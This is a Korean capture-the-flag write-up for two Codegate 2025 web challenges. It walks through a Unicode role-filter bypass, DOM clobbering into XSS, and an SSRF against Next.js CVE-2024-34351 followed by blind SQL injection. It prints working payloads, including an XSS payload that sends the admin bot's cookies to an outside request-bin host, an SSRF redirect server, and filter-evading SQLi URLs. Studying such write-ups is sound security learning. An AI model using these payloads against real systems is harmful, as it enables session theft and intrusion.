Masquerade
로그인을 진행하고 role을 선택할 수 있습니다. 하지만 role이 ADMIN, INSPECTOR이면 필터링에 걸립니다.
const { generateToken } = require("../utils/jwt");
const { v4: uuidv4 } = require('uuid');
const users = new Map();
const role_list = ["ADMIN", "MEMBER", "INSPECTOR", "DEV", "BANNED"];
function checkRole(role) {
const regex = /^(ADMIN|INSPECTOR)$/i;
return regex.test(role);
}
const addUser = (password) => {
const uuid = uuidv4()
users.set(uuid, { password, role: "MEMBER", hasPerm: false });
return uuid;
};
const getUser = (uuid) => {
return users.get(uuid);
};
const getUsers = () => {
console.log(users);
return 1;
};
const setRole = (uuid, input) => {
const user = getUser(uuid);
if (checkRole(input)) return false;
if (!role_list.includes(input.toUpperCase())) return false;
users.set(uuid, { ...user, role: input.toUpperCase() });
const updated = getUser(uuid);
const payload = { uuid, ...updated }
delete payload.password;
const token = generateToken(payload);
return token;
};
const setPerm = (uuid, input) => {
const user = getUser(uuid);
users.set(uuid, { ...user, hasPerm: input });
return true;
}
module.exports = { addUser, getUser, setRole, setPerm, getUsers };
admin role을 얻으면 해당 계정에 post를 작성할 수 있는 권한을 주고, INSPECTOR role을 얻으면 admin에게 report를 할 수 있는 권한을 얻을 수 있습니다.
문제에서 필터링을 할 떄 toUpperCase 함수를 사용하는데 ı 문자를 toUpperCase에 넣으면 I 로 바뀌는 것을 사용해서 ADMIN, INSPECTOR 권한을 얻을 수 있습니다.
const puppeteer = require('puppeteer');
const { generateToken } = require('./jwt')
const delay = (ms) => new Promise(resolve => setTimeout(resolve, ms));
const viewUrl = async (post_id) => {
const token = generateToken({ uuid: "codegate2025{test_flag}", role: "ADMIN", hasPerm: true })
const cookies = [{ "name": "jwt", "value": token, "domain": "localhost" }];
const browser = await puppeteer.launch({
executablePath: '/usr/bin/chromium',
args: ["--no-sandbox"]
});
let result = true;
try {
await browser.setCookie(...cookies);
const page = await browser.newPage();
await page.goto(`http://localhost:3000/post/${post_id}`, { timeout: 3000, waitUntil: "domcontentloaded" });
await delay(1000);
const button = await page.$('#delete');
await button.click();
await delay(1000);
} catch (error) {
console.error("An Error occurred:", error);
result = false;
} finally {
await browser.close();
}
return result;
};
module.exports = { viewUrl };
report 코드는 위와 같습니다. 전형적인 xss 문제입니다.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Post</title>
<link rel="stylesheet" href="/css/style.css">
</head>
<body>
<div class="container">
<h1 id="post-title">
<%= post.title %>
</h1>
<div class="user-info">
<button id="report" class="button danger">Report</button>
<button id="delete" class="button danger">Delete</button>
</div>
<hr>
<div class="post-content">
<%- post.content %>
</div>
<a href="/post" class="button">Go to Posts</a>
</div>
<script nonce="<%= nonce %>">
<% if (isOwner || isAdmin) { %>
window.conf = window.conf || {
deleteUrl: "/post/delete/<%= post.post_id %>"
};
<% } else { %>
window.conf = window.conf || {
deleteUrl: "/error/role"
};
<% } %>
<% if (isInspector) { %>
window.conf.reportUrl = "/report/<%= post.post_id %>";
<% } else { %>
window.conf.reportUrl = "/error/role";
<% } %>
const reportButton = document.querySelector("#report");
reportButton.addEventListener("click", () => {
location.href = window.conf.reportUrl;
});
const deleteButton = document.querySelector("#delete");
deleteButton.addEventListener("click", () => {
location.href = window.conf.deleteUrl;
});
</script>
</body>
</html>
xss 포인트를 찾아보면 post.content를 통해서 xss가 가능한데 csp가 걸려있어 script 태그를 사용할 수 없습니다. 따라서 문제에서 xss 포인트를 찾아본 결과 /admin/test에는 csp가 안 걸려 있습니다.
<script src="../js/purify.min.js"></script>
<script>
const post_title = document.querySelector('.post_title'),
post_content = document.querySelector('.post_content'),
error_div = document.querySelector('.error_div')
const urlSearch = new URLSearchParams(location.search),
title = urlSearch.get('title')
const content = urlSearch.get('content')
if (!title && !content) {
post_content.innerHTML = 'Usage: ?title=a&content=b'
} else {
try {
post_title.innerHTML = DOMPurify.sanitize(title)
post_content.innerHTML = DOMPurify.sanitize(content)
} catch {
post_title.innerHTML = title
post_content.innerHTML = content
}
}
</script>
다른 url에서 location.href = /admin/test를 실행하면 src="../js/purify.min.js" 를 통해서 DOMPurify가 load되지 않아 xss가 발생합니다.
따라서 post.content에서 dom clobbering을 통해 window.conf.deleteUrl 값을 control 하면 admin bot에 xss를 발생 시킬 수 있습니다.
문제 코드에 a tag에 대한 필터링이 조금 걸려있어 아래의 payload를 통해서 flag를 받아왔습니다.
<a/**/id="conf" name="deleteUrl" href="/admin/test/?title=boom&content=<img src=x onerror=javascript:location.href='https://mvpuaip.request.dreamhack.games/?flag='%2Bdocument.cookie>"></a>
<a/**/id="conf"></a>
hide and seek
internal server의 port를 몰라 brute force를 통해 port를 확인하는 코드를 작성했습니다.
ssrf_url = f"{internal_ip}:{port}"
print(f"Trying SSRF to {ssrf_url}...")
options = Options()
options.add_argument("--no-sandbox")
options.add_argument("--disable-dev-shm-usage")
try:
driver = webdriver.Chrome(options=options)
driver.get(target_url)
time.sleep(0.1)
# 버튼 클릭 (Find me)
find_button = driver.find_element(By.XPATH, '//button[contains(text(), "Find me")]')
find_button.click()
time.sleep(0.1)
# URL 입력
input_field = driver.find_element(By.NAME, "url")
input_field.clear()
input_field.send_keys(ssrf_url)
# Submit 클릭
submit_button = driver.find_element(By.XPATH, '//button[contains(text(), "Submit")]')
submit_button.click()
time.sleep(0.1)
# alert 수신 시도
try:
alert = driver.switch_to.alert
alert_text = alert.text
alert.accept()
print(f"Port {port} - ALERT: {alert_text}")
if "Sended" in alert_text:
print(f"SUCCESS SSRF on port {port}")
except:
# alert 없을 때 페이지 일부 출력
print(f"Port {port} - No alert")
print(f"Page source (first 300 chars):\n{driver.page_source[:300]}")
except Exception as e:
print(f"Port {port} - Selenium error: {e}")
finally:
driver.quit()
그 결과 808 port에 internal server가 존재하는 것을 확인했습니다.
문제는 next 14.1.0을 사용하는데 해당 버전에는 CVE-2024-34351가 존재합니다.
ssrf 취약점인데 아래와 같은 ts 코드를 서버에서 실행 시킨 이후에 redirect가 발생하는 request의 origin과 host를 해당 서버의 주소로 설정하면 됩니다.
https://github.com/God4n/nextjs-CVE-2024-34351-_exploit/blob/main/attacker-server.ts의 코드를 참조했습니다.
// deno run --allow-net --allow-read attack.ts
Deno.serve(async (request: Request) => {
const ssrf = request.headers.get('ssrf') || "http://192.168.200.120:808/";
console.log("Request received: " + JSON.stringify({
url: request.url,
method: request.method,
ssrf: ssrf,
}));
console.log(`Redirecting to: ${ssrf}`);
if (request.method === 'HEAD') {
return new Response(null, {
headers: {
'Content-Type': 'text/x-component',
},
});
}
if (request.method === 'GET') {
return new Response(null, {
status: 302,
headers: {
Location: ssrf,
'Content-Type': 'text/x-component',
},
});
}
return new Response("Method Not Allowed", { status: 405 });
});
POST / HTTP/1.1
Host: 13.124.66.200:56712
Content-Length: 4
User-Agent: Mozilla/5.0 ...
Next-Action: 6e6feac6ad1fb92892925b4e3766928a754aec71
Accept-Language: ko-KR,ko;q=0.9
Accept: text/x-component
Content-Type: text/plain;charset=UTF-8
Origin: http://13.124.66.200:56712
Referer: http://15.165.37.31:3000/
Connection: keep-alive
[]
그러면 내부망에 접속할 수 있고 url을 통해서 로그인을 할 수 있습니다. 로그인을 여러 방법으로 시도해보던 중 sql injection이 가능하다는 것을 알게 되어서 admin 계정으로 로그인하였습니다.
admin 계정으로 로그인을 하면 아래의 message가 나와 blind sql injection을 진행하면 flag를 알 수 있습니다.
{"message":"Welcome! admin, Flag is your password."}
http://192.168.200.120:808/login?username='/**/OORR/**/passwoorrd%20like%20'codegate2025%7B8...%25'/**/OORR/**/passwoorrd%20like%20'gu%25'%23--&password=guest&key=392cc52f7a5418299a5eb22065bd1e5967c25341
or을 제거하는 로직이 들어있어 oorr를 사용해서 우회했습니다.